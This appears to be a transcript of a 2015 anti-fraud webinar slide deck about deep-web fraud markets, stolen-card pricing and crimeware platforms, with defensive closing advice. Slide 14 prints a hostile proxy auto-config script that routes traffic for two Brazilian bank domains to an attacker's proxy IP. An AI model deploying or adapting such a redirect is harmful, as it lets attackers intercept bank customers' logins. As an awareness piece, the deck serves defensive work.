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The Deep Web - What's Lurking in the Deep End of the Internet

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Like an iceberg, the vast majority of the Internet is obscured from view. This unindexed section of the Internet is dubbed “the Deep Web.” The recent evolution of the Deep Web has allowed fraud to become increasingly commoditized as new methods continue to emerge to monetize the fraud process. As it continues to mature, we expect to see increasingly sophisticated fraud based on the ability to mine the Deep Web for a variety of information.

In this webinar, we will discuss the current state of fraud evolution and provide an understanding of how the business of fraud is structured, including an exclusive view of stolen credit card black markets.

Attendees will learn:

-- How the “Deep Web” is utilized as an enabler of fraud that targets corporations

-- Emerging fraud trends in 2015 and beyond

-- Best practices for how to tackle fraud from beginning to end

Watch the replay here: http://www.easysol.net/resources-the-deep-web

Published in: Technology
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The Deep Web - What's Lurking in the Deep End of the Internet

  1. 1. What’s lurking in the deep end of the Internet? The DeepWeb Joshua Schleicher Anti-Fraud SolutionsConsultant info@easysol.net
  2. 2. 95% of the ocean remains unexplored, unseen by human eyes http://oceanservice.noaa.gov/facts/exploration.html
  3. 3. Just like an iceberg, the majority of the Deep Web remains obscured from view
  4. 4. Google has only indexed 200TB of the Internet's data...an estimated .004% of the total Internet Source: https://hewilson.wordpress.com/what-is-the-deep-web/statistics/
  5. 5. Source: http://money.cnn.com/infographic/technology/what-is-the-deep-web/ These search engines capture < 1% of all web content
  6. 6. Source: http://money.cnn.com/infographic/technology/what-is-the-deep-web/ The Deep Web
  7. 7. The Deep Web is truly anonymous– you can’t even get on it unless you yourself are anonymous
  8. 8. Users can buy virtually anything from drugs to credit card information and accounts
  9. 9. Source: http://www.sickchirpse.com/deep-web-guide/2/
  10. 10. The recent evolution of the DeepWeb has allowed fraud to become increasingly commoditized, simply because there are many ways to monetize the fraud process itself.
  11. 11. The Process Information Theft Black Market Sale
  12. 12. Cybercrime Platforms > Data Stealer SDK > VOLK > Webshells > Zeus > SpyEye > Citadel > ICE IX > BlackHole Exploit Kit > iBanking (Mobile Botnet) > Malware Targeting POS
  13. 13. Mobile Crimeware Platforms are being used to harvest credentials to infiltrate accounts.
  14. 14. PAC (Proxy Autoconfiguration) Attacks function FindProxyForURL(url, host) { // ---- Santander if (shExpMatch(host, "www.santander.com.br")) { return "PROXY 201.20.46.177:80"; } if (shExpMatch(host, "santander.com.br")) { return "PROXY 201.20.46.177:80"; } if (shExpMatch(host, "www.banespa.com.br")) { return "PROXY 201.20.46.177:80"; } if (shExpMatch(host, "banespa.com.br")) { return "PROXY 201.20.46.177:80"; } }
  15. 15. Fraudsters have succeeded at breaching big-name merchants
  16. 16. The Process Information Theft Black Market Sale
  17. 17. Easy Checkout . Customer Support . Money Back Gurantee Technical Support Shopping Online with the Deep Web
  18. 18. The Hidden Wiki Resource for finding hacking databases and credit card sale sites
  19. 19. Online Card Shops
  20. 20. Factors affecting Price: • Validity Rate • Supply and Demand • Issuing Region How much is a card worth? Source: http://krebsonsecurity.com/2014/02/fire-sale-on-cards-stolen-in-target-breach/
  21. 21. How much is Healthcare data worth? In 2015 – The cost of just one Medicare number, $470 Source: http://www.npr.org/sections/alltechconsidered/2015/02/13/385901377/the- black-market-for-stolen-health-care-data
  22. 22. Cashing In Image Source: http://www.tripwire.com/state-of-security/vulnerability-management/how-stolen-target- credit-cards-are-used-on-the-black-market/
  23. 23. Silk Road The most famous online drug market that was shut down in 2013 by the FBI
  24. 24. Down the Rabbit Hole, The Front Door
  25. 25. Welcome to the Jungle
  26. 26. Welcome to the Jungle
  27. 27. Welcome to the Jungle
  28. 28. Welcome to the Jungle IRS & the Federal Office of Personnel Management recently fell victim to breaching and Deep Web information trading.
  29. 29. Welcome to the Jungle
  30. 30. My Two Cents • Tackle the problem from beginning to end • Look for constant innovation • Speed and flexibility are critical when fighting back fraud • Ask for references – especially when something bad happens • There is no silver bullet
  31. 31. Questions? Joshua Schleicher Anti-Fraud SolutionsConsultant info@easysol.net

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